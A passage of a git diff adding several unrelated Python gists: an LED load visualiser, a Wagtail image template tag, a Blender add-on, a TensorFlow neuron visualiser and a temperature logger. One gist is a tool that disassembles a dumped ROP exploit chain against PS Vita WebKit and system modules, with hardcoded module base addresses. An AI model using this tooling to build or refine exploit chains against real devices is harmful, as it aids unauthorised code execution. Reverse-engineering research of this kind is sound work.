+            #   edge for ```tick``` seconds already, so we delete it.
+            check_edges(point)
+            point.oldxy = (point.x, point.y)
+            if point.direction == 1:
+                point.y += 1
+            elif point.direction == 2:
+                point.x += 1
+            elif point.direction == 3:
+                point.y -= 1
+            else:
+                point.x -= 1
+            # Delete points that would cause a boundary violation after
+            #   the above coordinate update.
+            check_boundaries(point)
+        unicorn.show()
+    
+    def plot_points():
+        for point in points:
+            unicorn.set_pixel(point.x, point.y, point.colour[0], point.colour[1], point.colour[2])
+            unicorn.set_pixel(*(point.oldxy + (0, 0, 0)))
+            unicorn.show()
+    
+    def check_edges(point):
+        """ Deletes points that have reached an edge.
+        Args:
+            point (LightPoint): The point that has reached an edge.
+        """
+        if (point.x == function_pos[load_matrix] and point.direction is 2) \
+            or (point.x == 0 and point.direction is 4) \
+            or (point.y == 0 and point.direction is 3) \
+            or (point.y == height - 1 and point.direction is 1):
+                unicorn.set_pixel(point.x, point.y, 0, 0, 0)
+                points.remove(point)
+    
+    def check_boundaries(point):
+        """ Deletes points beyond allowed boundaries.
+
+        Args:
+            point (LightPoint): The point to check for boundary violations.
+        """
+        if (point.x > function_pos[load_matrix] and point.direction is 2) \
+            or (point.x < 0 and point.direction is 4) \
+            or (point.y < 0 and point.direction is 3) \
+            or (point.y > height - 1 and point.direction is 1):
+                if point in points:
+                    points.remove(point)
+    
+    function_values[load_fetcher] = 1
+    threading.Thread(target=load_fetcher).start()
+    tick_func = lambda load: 0.5/(load**2) if load > 1 else 1/4
+    max_points = function_pos[load_matrix]*height/3
+    
+    while True:
+        tick = tick_func(function_values[load_fetcher]) if function_values[load_fetcher] < 12 else tick_func(12)
+        for w in range(int(update_rate/tick)):
+            if len(points) < max_points and randint(0, 5) > 1:
+                points.append(LightPoint())
+            update_positions()
+            plot_points()
+            time.sleep(tick)
+
+if __name__ == "__main__":
+    main(load_matrix, (internet_color,))
diff --git a/hard-gists/baf42b089d71b94fd229/._snippet.py b/hard-gists/baf42b089d71b94fd229/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/baf42b089d71b94fd229/._snippet.py differ
diff --git a/hard-gists/baf42b089d71b94fd229/snippet.py b/hard-gists/baf42b089d71b94fd229/snippet.py
new file mode 100644
index 00000000..06d470fe
--- /dev/null
+++ b/hard-gists/baf42b089d71b94fd229/snippet.py
@@ -0,0 +1,113 @@
+from django import template
+from django.template import Context
+from django.template.base import parse_bits
+
+from wagtail.wagtailimages.templatetags.wagtailimages_tags import ImageNode
+from wagtail.wagtailimages.models import Filter, SourceImageIOError, InvalidFilterSpecError
+
+from britishswimming.utils.models import SocialMediaSettings
+
+register = template.Library()
+
+@register.tag(name="responsiveimage")
+def responsiveimage(parser, token):
+    bits = token.split_contents()[1:]
+    image_expr = parser.compile_filter(bits[0])
+    filter_spec = bits[1]
+    remaining_bits = bits[2:]
+
+    attrs = {}
+
+    if remaining_bits[-2:][0] == 'as':
+        for bit in remaining_bits[:-2]:
+            try:
+                name, value = bit.split('=')
+            except ValueError:
+                raise template.TemplateSyntaxError("'responsiveimage' tag should be of the form {% responsiveimage self.photo max-320x200 srcset=\"whatever\" [ custom-attr=\"value\" ... ] %} or {% responsiveimage self.photo max-320x200 srcset=\"whatever\" as img %}")
+            attrs[name] = parser.compile_filter(value) # setup to resolve context variables as value
+
+        # token is of the form {% responsiveimage self.photo max-320x200 srcset="whatever" as img %}
+        return ResponsiveImageNode(image_expr, filter_spec, attrs=attrs, output_var_name=remaining_bits[-2:][1])
+    else:
+        # token is of the form {% responsiveimage self.photo max-320x200 srcset="whatever" %} - all additional tokens
+        # should be kwargs, which become attributes
+        for bit in remaining_bits:
+            try:
+                name, value = bit.split('=')
+            except ValueError:
+                raise template.TemplateSyntaxError("'responsiveimage' tag should be of the form {% responsiveimage self.photo max-320x200 srcset=\"whatever\" [ custom-attr=\"value\" ... ] %} or {% responsiveimage self.photo max-320x200 srcset=\"whatever\" as img %}")
+
+            attrs[name] = parser.compile_filter(value) # setup to resolve context variables as value
+
+        return ResponsiveImageNode(image_expr, filter_spec, attrs=attrs)
+
+class ResponsiveImageNode(ImageNode, template.Node):
+    def render(self, context):
+        try:
+            image = self.image_expr.resolve(context)
+        except template.VariableDoesNotExist:
+            return ''
+
+        if not image:
+            return ''
+
+        try:
+            rendition = image.get_rendition(self.filter)
+        except SourceImageIOError:
+            # It's fairly routine for people to pull down remote databases to their
+            # local dev versions without retrieving the corresponding image files.
+            # In such a case, we would get a SourceImageIOError at the point where we try to
+            # create the resized version of a non-existent image. Since this is a
+            # bit catastrophic for a missing image, we'll substitute a dummy
+            # Rendition object so that we just output a broken link instead.
+            Rendition = image.renditions.model  # pick up any custom Image / Rendition classes that may be in use
+            rendition = Rendition(image=image, width=0, height=0)
+            rendition.file.name = 'not-found'
+
+
+        # Parse srcset format into array
+        try:
+            raw_sources = str(self.attrs['srcset']).replace('"', '').split(',')
+
+            srcset_renditions = []
+            widths = []
+            newsrcseturls = []
+
+            for source in raw_sources:
+                flt = source.strip().split(' ')[0]
+                width = source.strip().split(' ')[1]
+
+                # cache widths to be re-appended after filter has been converted to URL
+                widths.append(width)
+
+                try:
+                    srcset_renditions.append(image.get_rendition(flt))
+                except SourceImageIOError:
+                    TmpRendition = image.renditions.model  # pick up any custom Image / Rendition classes that may be in use
+                    tmprend = TmpRendition(image=image, width=0, height=0)
+                    tmprend.file.name = 'not-found'
+
+            for index, rend in enumerate(srcset_renditions):
+                newsrcseturls.append(' '.join([rend.url, widths[index]]))
+
+        except KeyError:
+            newsrcseturls = []
+            pass
+
+        if self.output_var_name:
+            rendition.srcset = ', '.join(newsrcseturls)
+
+            # return the rendition object in the given variable
+            context[self.output_var_name] = rendition
+            return ''
+        else:
+            # render the rendition's image tag now
+            resolved_attrs = {}
+            for key in self.attrs:
+                if key == 'srcset':
+                    resolved_attrs[key] = ','.join(newsrcseturls)
+                    continue
+
+                resolved_attrs[key] = self.attrs[key].resolve(context)
+
+            return rendition.img_tag(resolved_attrs)
diff --git a/hard-gists/bb160e63686f517c93a937f46714dd03/._snippet.py b/hard-gists/bb160e63686f517c93a937f46714dd03/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bb160e63686f517c93a937f46714dd03/._snippet.py differ
diff --git a/hard-gists/bb160e63686f517c93a937f46714dd03/snippet.py b/hard-gists/bb160e63686f517c93a937f46714dd03/snippet.py
new file mode 100644
index 00000000..bbb31bac
--- /dev/null
+++ b/hard-gists/bb160e63686f517c93a937f46714dd03/snippet.py
@@ -0,0 +1,163 @@
+''' 
+ROP Analyze
+Written by St4rk
+
+The code is a total mess and I don't know python (it's one of many reasons 
+that I decided to use python here, to learn)
+Feel free to modify and do whatever you want
+'''
+
+# imports
+import struct
+from capstone import *
+from capstone.arm import *
+
+
+# init capstone arm mode
+md = Cs(CS_ARCH_ARM, CS_MODE_THUMB)
+md.detail = True
+
+# rop (with address base)
+rop = open('x_rop', 'rb')
+# rop (without address base)
+rop_w = open('xd',  'rb')
+
+# modules
+SceWebKit = open('SceWebKit.bin', 'rb')
+SceLibKernel = open('SceLibKernel.bin', 'rb')
+SceLibC = open('SceLibC.bin', 'rb')
+SceLibHttp = open('SceLibHttp.bin', 'rb')
+SceNet = open('SceNet.bin', 'rb')
+
+# address base
+stack_base = 0x50000000
+SceWebKit_addr = 0x83a00780
+SceLibKernel_addr = 0xe0004d40
+SceLibC_addr = 0x83980a10
+SceLibHttp_addr = 0xe0604c80
+SceNet_addr = 0xe05236d0
+# Need to dump yet, dummy value
+SceAppMgr = 0x6000000
+
+# total of gadget that it will dump
+ROP_DUMP_SIZE = 0x3800
+
+# reg list used to know what is the Library that it will jump
+reg_list = {'r0': 0, 'r1': 0, 'r2': 0, 'r3': 0, 'r4': 0, 'r5': 0, \
+            'r6': 0, 'r7': 0, 'r8': 0, 'r9': 0, 'r10': 0, 'r11': 0}
+
+
+def rop_diss(code, addr): 
+    POP_GADGET = True
+    
+    for i in md.disasm(code, addr):
+        # function ptr
+        if i.id in (ARM_INS_BL, ARM_INS_BLX):
+            print "0x%X:\t%s\t%s" % (i.address, i.mnemonic, i.op_str)
+            print "\t\taddr: 0x%X"  % (reg_list[i.reg_name(i.operands[0].value.reg)])
+            break
+
+        # POP gadget to fill registers values
+        elif i.id in (ARM_INS_POP, ARM_INS_VPOP):
+            print "0x%X:\t%s\t%s" %(i.address, i.mnemonic, i.op_str)
+            # TODO implement gadget list: op.value.reg
+            for n in i.operands:
+                if (i.reg_name(n.value.reg) != "pc"):
+                    reg_value = struct.unpack('I', rop.read(4))[0]
+                    
+                    # dump stack
+                    if (reg_value <= 0x60000000 and reg_value >= 0x50000000):
+                        stack_value = reg_value - stack_base
+                        current_pos = rop.tell()
+                        rop.seek(stack_value)
+                        stack_value = struct.unpack('I', rop.read(4))[0]
+                        rop.seek(current_pos)
+                        print "\t\t%s : 0x%X - stack: 0x%X" % (i.reg_name(n.value.reg), \
+                        reg_value, stack_value)
+                    else:
+                        print "\t\t%s : 0x%X" % (i.reg_name(n.value.reg), \
+                        reg_value)
+
+                    reg_list[i.reg_name(n.value.reg)] = reg_value
+
+
+                    # just to increment the dummy x
+                    rop_w.read(4)
+            break
+        else:
+            print "0x%X:\t%s\t%s" % (i.address, i.mnemonic, i.op_str)
+
+def main():
+
+    
+    for i in range(0, ROP_DUMP_SIZE):
+        # verify what is the base
+        gadget = struct.unpack('I', rop.read(4))[0]
+        gadget_w = struct.unpack('I', rop_w.read(4))[0]
+
+        print "x offset: 0x%X" % rop.tell()
+
+        # check if is a shared module
+        if (gadget > 0xE0000000):
+            # check what is the shared module that we will use
+
+            # SceLibKernel
+            if (gadget - SceLibKernel_addr == gadget_w):
+                print "SceLibKernel"
+                offset = gadget_w - 1
+                SceLibKernel.seek(offset)
+                code = SceLibKernel.read(32)
+                rop_diss(code, gadget)
+
+            # SceLibHttp
+            elif (gadget - SceLibHttp_addr == gadget_w):
+                print "SceLibHttp"
+                offset = gadget_w - 1
+                SceLibHttp.seek(offset)
+                code = SceLibHttp.read(32)
+                rop_diss(code, gadget)
+
+            # SceNet
+            elif (gadget - SceNet_addr == gadget_w):
+                print "SceNet"
+                offset = gadget_w - 1
+                SceNet.seek(offset)
+                code = SceNet.read(32)
+                rop_diss(code, gadget)
+
+            # SceAppMgr
+            elif (gadget - SceAppMgr == gadget_w):
+                print "A gadget with SceAppMgr:" + hex(gadget)
+
+        else:
+            # check if it's SceWebKit or SceLibC
+            if (gadget - SceWebKit_addr == gadget_w):
+                print "SceWebKit"
+                # find file offset
+                offset = gadget_w - 1
+                SceWebKit.seek(offset)
+                code = SceWebKit.read(32)
+                rop_diss(code, gadget)
+
+            elif (gadget - SceLibC_addr == gadget_w):
+                print "SceLibC"
+                offset = gadget_w - 1
+                SceLibC.seek(offset)
+                code = SceLibC.read(32)
+                rop_diss(code, gadget)
+
+    # close all FD
+    rop.close()
+    rop_w.close()
+
+    # modules
+    SceWebKit.close()
+    SceLibKernel.close()
+    SceLibC.close()
+    SceLibHttp.close()
+    SceNet.close()
+
+
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/bb61c15139bff338cb17/._snippet.py b/hard-gists/bb61c15139bff338cb17/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bb61c15139bff338cb17/._snippet.py differ
diff --git a/hard-gists/bb61c15139bff338cb17/snippet.py b/hard-gists/bb61c15139bff338cb17/snippet.py
new file mode 100644
index 00000000..51250284
--- /dev/null
+++ b/hard-gists/bb61c15139bff338cb17/snippet.py
@@ -0,0 +1,51 @@
+# ***** BEGIN GPL LICENSE BLOCK *****
+#
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software Foundation,
+# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+#
+# ***** END GPL LICENCE BLOCK *****
+
+
+bl_info = {
+    "name": "Lock View",
+    "description": "Exposes rotation locking in the 3D View to a specific viewing angle",
+    "author": "Jason van Gumster (Fweeb)",
+    "version": (1, 0, 0),
+    "blender": (2, 76, 0),
+    "location": "3D View > Properties Region > View",
+    "warning": "",
+    "wiki_url": "",
+    "tracker_url": "",
+    "category": "3D View"}
+
+import bpy
+
+
+def lock_ui(self, context):
+    layout = self.layout
+
+    layout.prop(context.space_data.region_3d, 'lock_rotation', text='Lock View Rotation')
+
+
+def register():
+    bpy.types.VIEW3D_PT_view3d_properties.append(lock_ui)
+
+
+def unregister():
+    bpy.types.VIEW3D_PT_view3d_properties.remove(lock_ui)
+
+
+if __name__ == "__main__":
+    register()
\ No newline at end of file
diff --git a/hard-gists/bb640cebefcc550f357c/._snippet.py b/hard-gists/bb640cebefcc550f357c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bb640cebefcc550f357c/._snippet.py differ
diff --git a/hard-gists/bb640cebefcc550f357c/snippet.py b/hard-gists/bb640cebefcc550f357c/snippet.py
new file mode 100644
index 00000000..910105a1
--- /dev/null
+++ b/hard-gists/bb640cebefcc550f357c/snippet.py
@@ -0,0 +1,470 @@
+# Copyright 2015 Google Inc. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+# ==============================================================================
+
+'''
+Visualize what pooling and convolutional neurons learned
+  by displaying images that gain highest response.
+
+Motivation:
+
+  It is straightforward to visualize filters in the first convolutional layer, 
+    but not in deeper layers. One way to visualize a neuron is too find images
+    that the neuron fires most one. Inspired by:
+
+  [1]: "Rich feature hierarchies for accurate object detection and semantic 
+       segmentation" by Ross Girshick et al., CVPR, 2014, section 3.1
+
+
+This file has two functions for visualizing high responses:
+  1) visualize_conv - for some channels in a convolutional layer.
+  2) visualize_pooling - for some neurons in a pooling layer
+
+Note that for a convolutional filter, the max response is searched across 
+  both images and x,y coordinates. At the same time, for a pooling neuron,
+  the max response is searched only acrooss images because the coordinates
+  of pooling neurons are fixed (while conv. filter is shared across x,y.)
+
+Implementation issues:
+
+  The search for maximum across images is approximate -- only one best image 
+    from each batch can be included into the result. This is done for simplicity
+    -- please contribute by generalizing to several images per batch.
+
+  I use OpenCV for drawing. If you can change to PIL or whatever, 
+    please propose a patch.
+
+Usage:
+
+  0) Get python bindings to OpenCV
+  1) Examine function 'visualize_excitations'. It has an example of visualizing
+       conv2 and pool2 layers.
+  2) Change function inference() in cifar10.py so that it also returns 
+       conv2 and pool2 tensors. See line 415 of this file.
+  3) Train cifar10 by running cifar10_train.py
+  4) Run this file.
+'''
+
+
+from __future__ import absolute_import
+from __future__ import division
+from __future__ import print_function
+
+import logging
+import cv2
+import numpy as np
+import tensorflow as tf
+from bisect import bisect_right
+from math import ceil
+
+from tensorflow.models.image.cifar10 import cifar10
+
+FLAGS = tf.app.flags.FLAGS
+
+tf.app.flags.DEFINE_string('eval_data', 'test',
+                           """Either 'test' or 'train_eval'.""")
+tf.app.flags.DEFINE_string('checkpoint_dir', '/tmp/cifar10_train',
+                           """Directory where to read model checkpoints.""")
+tf.app.flags.DEFINE_integer('num_examples', 10000,
+                            """Number of examples to run.""")
+tf.app.flags.DEFINE_string('excitation_layer', 'pool2',
+                            """Visualize excitations of this layer.""")
+
+
+
+def _prepare_patch (img, response, y, x, dst_height, scale,
+                    stride, accum_padding, half_receptive_field):
+  '''Scale patch, overlay receptive field, and response
+  '''
+  COLOR = (256,256,256)
+  THICKNESS = 2
+  
+  # resize image
+  img = cv2.resize(img, dsize=(0,0), fx=scale, fy=scale,
+                   interpolation=cv2.INTER_NEAREST)
+
+  # overlay response value
+  cv2.putText(img, '%0.1f' % response, 
+              org=(0,int(dst_height*0.9)),
+              fontFace=cv2.FONT_HERSHEY_DUPLEX, 
+              fontScale=dst_height*0.008, 
+              color=COLOR,
+              thickness=THICKNESS)
+
+  # show the receptive field of a channel (if a user cared to pass params)
+  if accum_padding is None or half_receptive_field is None or stride is None:
+    logging.warning ('support displaying receptive field only with user input')
+  else:
+    x_min = y * stride + accum_padding - half_receptive_field
+    x_max = y * stride + accum_padding + half_receptive_field
+    y_min = x * stride + accum_padding - half_receptive_field + 1
+    y_max = x * stride + accum_padding + half_receptive_field + 1
+    x_min = int(x_min*scale)
+    x_max = int(x_max*scale)
+    y_min = int(y_min*scale)
+    y_max = int(y_max*scale)
+    cv2.rectangle(img, (x_min,y_min), (x_max,y_max), 
+                  color=COLOR, 
+                  thickness=THICKNESS)
+  return img
+
+
+
+def visualize_conv     (sess, images, layer, channels,
+                        half_receptive_field=None,
+                        accum_padding=None,
+                        stride=None,
+                        num_excitations=16,
+                        num_images=1024,
+                        dst_height=96):
+  '''
+  TL;DR: display some 'images' that receive the strongest response 
+    from user-selected 'channels' of a convolutional 'layer'.
+
+  A 64-channel convolutional layer is consists of 64 filters.
+  For each of the channels, the corresponding filter naturally fires diffrently
+    on different pixels of different images. We're interested in highest responses.
+  For each filter, this function searches for such high responses, plus
+    the corresponding images and the coordinates of those responses.
+  We collect 'num_excitations' images for each filter and stack them into a row.
+    Rows from all filters of interest are stacked vetically into the final map.
+    For each image, the response value and the receptive field are visualized.
+
+  Args:
+    sess:            tensorflow session
+    images:          tensor for source images
+    layer:           tensor for a convolutional layer response
+    channels:        ids of filters of interest, a numpy array.
+                       Example: channels=np.asarray([0,1,2]) will result in 3 rows
+                       with responses from 0th, 1st, and 2nd filters.
+    half_receptive_field:  integer, half of the receptive field for this layer, [1]
+    accum_padding:   integer, accumulated padding w.r.t pixels of the input image.
+                       Equals 0 when all previous layers use 'SAME' padding
+    stride:          integer, equals to multiplication of strides of all prev. layers.
+    num_excitations: number of images to collect for each channel
+    num_images:      number of input images to search
+    dst_height:      will resize each image to have this height
+  Returns:
+    excitation_map:   a ready-to-show image, similar to R-CNN paper.
+
+  * Suggestions on how to automatically infer half_receptive_field, accum_padding,
+    and stride are welcome.
+  '''
+  assert isinstance(channels, np.ndarray), 'channels must be a numpy array'
+  assert len(channels.shape) == 1, 'need 1D array [num_filters]'
+
+  # now shape is [im_id, Y, X, ch]
+  assert   layer.get_shape()[0].value == FLAGS.batch_size
+  Y      = layer.get_shape()[1].value
+  X      = layer.get_shape()[2].value
+  num_ch = layer.get_shape()[3].value
+  logging.info ('Y: %d, X: %d, num_ch: %d' % (Y, X, num_ch))
+
+  # to shape [ch, Y, X, im_id], because we'll reduce on Y, X, and im_id
+  layer0 = tf.transpose(layer, (3,1,2,0))
+  layer1 = tf.reshape(layer0, [num_ch, -1])
+  # indices of the highest responses across batch, X, and Y
+  responses, best_ids = tf.nn.top_k(layer1, k=1)
+
+  # make three lists of empty lists
+  resps = [list([]) for _ in xrange(len(channels))]
+  imges = [list([]) for _ in xrange(len(channels))]
+  yx    = [list([]) for _ in xrange(len(channels))]
+
+  # Start the queue runners.
+  coord = tf.train.Coordinator()
+  try:
+    threads = []
+    for qr in tf.get_collection(tf.GraphKeys.QUEUE_RUNNERS):
+      threads.extend(qr.create_threads(sess, coord=coord, daemon=True,
+                                       start=True))
+
+    # the same as in cifar10_eval, split evaluation by batches
+    num_iter = int(ceil(num_images / FLAGS.batch_size))
+    for step in range(num_iter):
+      logging.debug ('==========')
+      logging.info ('step %d out of %d' % (step, num_iter))
+
+      if coord.should_stop():
+        break
+
+      best_ids_vec, images_vec, responses_vec = \
+              sess.run([best_ids, images, responses])
+
+      # after this point everything is numpy and opencv
+
+      # collect best responding image from the batch for each filter=channel
+      for ch_id, ch in enumerate(channels):
+        logging.debug ('----------')
+        logging.debug ('ch_id: %d, ch: %s' % (ch_id, ch))
+
+        best_response = responses_vec [ch,0]
+        best_id       = best_ids_vec  [ch,0]
+        logging.debug ('best_id: %d, Y: %d, X: %d' % (best_id, Y, X))
+        # undo reshape -- figure out best indices in Y,X,batch_id coordinates
+        best_im = best_id % FLAGS.batch_size
+        best_y  = int(best_id / FLAGS.batch_size) / X
+        best_x  = int(best_id / FLAGS.batch_size) % X
+        # take the image
+        best_image = images_vec    [best_im,:,:,:]
+        logging.debug ('best_im,best_y,best_x: %d,%d,%d, best_response: %f' % 
+                       (best_im, best_y, best_x, best_response))
+
+        # look up the insertion point in the sorted responses lists
+        i = bisect_right (resps[ch_id], best_response)
+        
+        # if the previous response is exactly the same, the image must be same too
+        if i > 0 and resps[ch_id][i-1] == best_response:
+          logging.debug ('got same response. Skip.')
+          continue
+        
+        # insert both response and image into respective lists
+        resps[ch_id].insert(i, best_response)
+        imges[ch_id].insert(i, best_image)
+        yx[ch_id].insert   (i, (best_y, best_x))
+
+        # pop_front if lists went big and added response is better than current min
+        if len(resps[ch_id]) > num_excitations:
+          del resps[ch_id][0]
+          del imges[ch_id][0]
+          del    yx[ch_id][0]
+
+        logging.debug (resps)
+
+  except Exception as e:  # pylint: disable=broad-except
+    coord.request_stop(e)
+
+  coord.request_stop()
+  coord.join(threads, stop_grace_period_secs=10)
+
+
+  # scale for resizing images
+  src_height = images.get_shape()[1].value
+  scale = float(dst_height) / src_height
+
+  for ch_id, _ in enumerate(channels):
+    for img_id, img in enumerate(imges[ch_id]):
+
+      imges[ch_id][img_id] = _prepare_patch(
+            imges[ch_id][img_id], resps[ch_id][img_id], 
+            yx[ch_id][img_id][1], yx[ch_id][img_id][0], 
+            dst_height, scale,
+            stride, accum_padding, half_receptive_field)
+
+    # concatenate images for this channel
+    imges[ch_id]  = np.concatenate(list(imges[ch_id]), axis=1)
+  # concatenate stripes of all channels into one map
+  excitation_map = np.concatenate(list(imges), axis=0)
+
+  return excitation_map
+
+
+
+
+
+def visualize_pooling  (sess, images, layer, neurons,
+                        half_receptive_field=None,
+                        accum_padding=None,
+                        stride=None,
+	                      num_excitations=16,
+                        num_images=1024,
+                        dst_height=96):
+  '''
+  TL;DR: display some 'images' that receive the strongest response 
+    from user-selected neurons of a pooling 'layer'.
+
+  A pooling layer is of shape Y x X x Channels.
+    Each neuron from that layer is connected to a pixel in the output feature map.
+    This function visualizes what a neuron have learned by displying images 
+      which receive the strongest responses on that neuron.
+    We collect 'num_excitations' images for each neuron and stack them into a row.
+      Rows from all neurons of interest are stacked vetically into the final map.
+      For each image, the response value and the receptive field are visualized.
+
+  Args:
+    sess:            tensorflow session
+    images:          tensor for source images
+    layer:           tensor for a convolutional layer response
+    neurons:         neurons to see best excitations for. 
+                      It's probably only a fraction of the layer neurons.
+                      Example: neurons=np.asarray([[0,1,2],[58,60,4]])
+    half_receptive_field:  integer, half of the receptive field for this layer, [1]
+    accum_padding:   integer, accumulated padding w.r.t pixels of the input image.
+                       Equals 0 when all previous layers use 'SAME' padding
+    stride:          integer, equals to multiplication of strides of all prev. layers.
+    num_excitations: number of images to collect for each channel
+    num_images:      number of input images to search
+    dst_height:      will resize each image to have this height
+  Returns:
+    excitation_map:   a ready-to-show image, similar to R-CNN paper.
+
+  * Suggestions on how to automatically infer half_receptive_field, accum_padding,
+    and stride are welcome.
+  '''
+  assert isinstance(neurons, np.ndarray), 'neurons must be a numpy array'
+  assert len(neurons.shape) == 2 and neurons.shape[1] == 3, 'need shape [N,3]'
+
+  # indices of the "most exciting" patches in a batch, for each neuron
+  _, best_ids = tf.nn.top_k(tf.transpose(layer, (1,2,3,0)), k=1)
+
+  # make two lists of empty lists
+  # will store num_excitations of best layer/images for each neuron
+  resps = [list([]) for _ in xrange(len(neurons))]
+  imges = [list([]) for _ in xrange(len(neurons))]
+
+  # Start the queue runners.
+  coord = tf.train.Coordinator()
+  try:
+    threads = []
+    for qr in tf.get_collection(tf.GraphKeys.QUEUE_RUNNERS):
+      threads.extend(qr.create_threads(sess, coord=coord, daemon=True,
+                                       start=True))
+
+    # the same as in cifar10_eval, split evaluation by batches
+    num_iter = int(ceil(num_images / FLAGS.batch_size))
+    for step in range(num_iter):
+      logging.debug ('==========')
+      logging.info ('step %d out of %d' % (step, num_iter))
+
+      if coord.should_stop():
+        break
+
+      best_ids_mat, images_mat, responses_mat = sess.run(
+               [best_ids, images, layer]) 
+
+      # after this point everything is numpy and opencv
+
+      # collect best responding image from the batch for each neuron=[y,x,ch]
+      for n_id, n in enumerate(neurons):
+        logging.debug ('----------')
+        logging.debug ('n_id: %d, n: %s' % (n_id, str(n)))
+
+        best_id       = best_ids_mat  [n[0],n[1],n[2],0]
+        best_image    = images_mat    [best_id,:,:,:]
+        best_response = responses_mat [best_id,n[0],n[1],n[2]]
+        logging.debug ('best_id: %d, best_response: %f' % (best_id, best_response))
+
+        # look up the insertion point in the sorted responses lists
+        i = bisect_right (resps[n_id], best_response)
+        
+        # if the previous response is exactly the same, the image must be same too
+        if i > 0 and resps[n_id][i-1] == best_response:
+          logging.debug ('got same response. Skip.')
+          continue
+        
+        # insert both response and image into respective lists
+        resps[n_id].insert(i, best_response)
+        imges[n_id].insert(i, best_image)
+
+        # pop_front if lists went big and added response is better than current min
+        if len(resps[n_id]) > num_excitations:
+          del resps[n_id][0]
+          del imges[n_id][0]
+
+        logging.debug (resps)
+
+  except Exception as e:  # pylint: disable=broad-except
+    coord.request_stop(e)
+
+  coord.request_stop()
+  coord.join(threads, stop_grace_period_secs=10)
+
+
+  # scale for resizing images
+  src_height = images.get_shape()[1].value
+  scale = float(dst_height) / src_height
+
+  for n_id, n in enumerate(neurons):
+    for img_id, img in enumerate(imges[n_id]):
+
+      imges[n_id][img_id] = _prepare_patch(
+            imges[n_id][img_id], resps[n_id][img_id], 
+            n[1], n[0], 
+            dst_height, scale,
+            stride, accum_padding, half_receptive_field)
+
+    # concatenate images for this neuron, and then all the resultant stripes
+    imges[n_id]  = np.concatenate(list(imges[n_id]), axis=1)
+  excitation_map = np.concatenate(list(imges), axis=0)
+
+  return excitation_map
+
+
+
+
+
+def visualize_excitations():
+  ''' Restore a trained model, and run one of the visualizations. '''
+  with tf.Graph().as_default():
+    # Get images for CIFAR-10.
+    eval_data = FLAGS.eval_data == 'test'
+    images, _ = cifar10.inputs(eval_data=eval_data)
+
+    # Get conv2 and pool2 responses
+    _, conv2, pool2 = cifar10.inference(images)
+
+    # Restore the moving average version of the learned variables for eval.
+    variable_averages = tf.train.ExponentialMovingAverage(
+        cifar10.MOVING_AVERAGE_DECAY)
+    variables_to_restore = variable_averages.variables_to_restore()
+    saver = tf.train.Saver(variables_to_restore)
+
+    with tf.Session() as sess:
+      ckpt = tf.train.get_checkpoint_state(FLAGS.checkpoint_dir)
+      if ckpt and ckpt.model_checkpoint_path:
+        # Restores from checkpoint
+        saver.restore(sess, ckpt.model_checkpoint_path)
+      else:
+        print('No checkpoint file found')
+        return
+
+      if FLAGS.excitation_layer == 'conv2':
+        channels=np.asarray([0,31,63])   # first, 31st, and last channels
+        excitation_map = visualize_conv     (sess, images, conv2, channels,
+                                             half_receptive_field=5,
+                                             accum_padding=0,
+                                             stride=2,
+                                             dst_height=96,
+                                             num_images=FLAGS.num_examples)
+
+      elif FLAGS.excitation_layer == 'pool2':
+        neurons=np.asarray([[0,0,0],     # top-left corner of first map
+                            [5,5,63],    # bottom-right corner of last map
+                            [3,4,5]])    # in the middle of 5th map
+        excitation_map = visualize_pooling  (sess, images, pool2, neurons,
+                                             half_receptive_field=6,
+                                             accum_padding=0,
+                                             stride=4,
+                                             dst_height=96,
+                                             num_images=FLAGS.num_examples)
+
+      else:
+        raise Exception ('add your own layers and parameters')
+
+      excitation_map = cv2.cvtColor(excitation_map, cv2.COLOR_RGB2BGR)
+      cv2.imshow('excitations', excitation_map)
+      cv2.waitKey(-1)
+
+
+
+def main(argv=None):  # pylint: disable=unused-argument
+  logging.basicConfig (level=logging.INFO)
+
+  cifar10.maybe_download_and_extract()
+  visualize_excitations()
+
+
+if __name__ == '__main__':
+  tf.app.run()
+
diff --git a/hard-gists/bb85da3aa563b747151e/._snippet.py b/hard-gists/bb85da3aa563b747151e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/bb85da3aa563b747151e/._snippet.py differ
diff --git a/hard-gists/bb85da3aa563b747151e/snippet.py b/hard-gists/bb85da3aa563b747151e/snippet.py
new file mode 100644
index 00000000..99ea9aa6
--- /dev/null
+++ b/hard-gists/bb85da3aa563b747151e/snippet.py
@@ -0,0 +1,48 @@
+# coding: utf-8
+ 
+import smbus
+import time
+import urllib2, json, requests
+ 
+INTERVAL = 60*1 # second
+ADDRESS = 0x48
+CHANNEL = 1
+
+API_KEY = "{X-ApiKey}"
+FEED_ID = "{Feed ID}"
+ 
+class ADT7410:
+    def __init__(self, address, channel):
+        self.address = address
+        self.channel = channel
+ 
+    # read from ADT7410
+    def readValue(self):
+        try:
+            data = smbus.SMBus(self.channel).read_i2c_block_data(self.address, 0x00, 2)
+            temp = (data[0] << 8 | data[1]) >> 3
+            if(temp >= 4096):
+                temp -= 8192
+            value = temp * 0.0625
+            return value
+        except Exception as e:
+            print str(e)
+            return None
+ 
+    # regist to xively
+    def registToXively(self, apiKey, feedId):
+        request = { 'datastreams' : [ {'id' : 'Temperature', 'current_value' : self.readValue()}]}
+        requestJson = json.dumps(request)
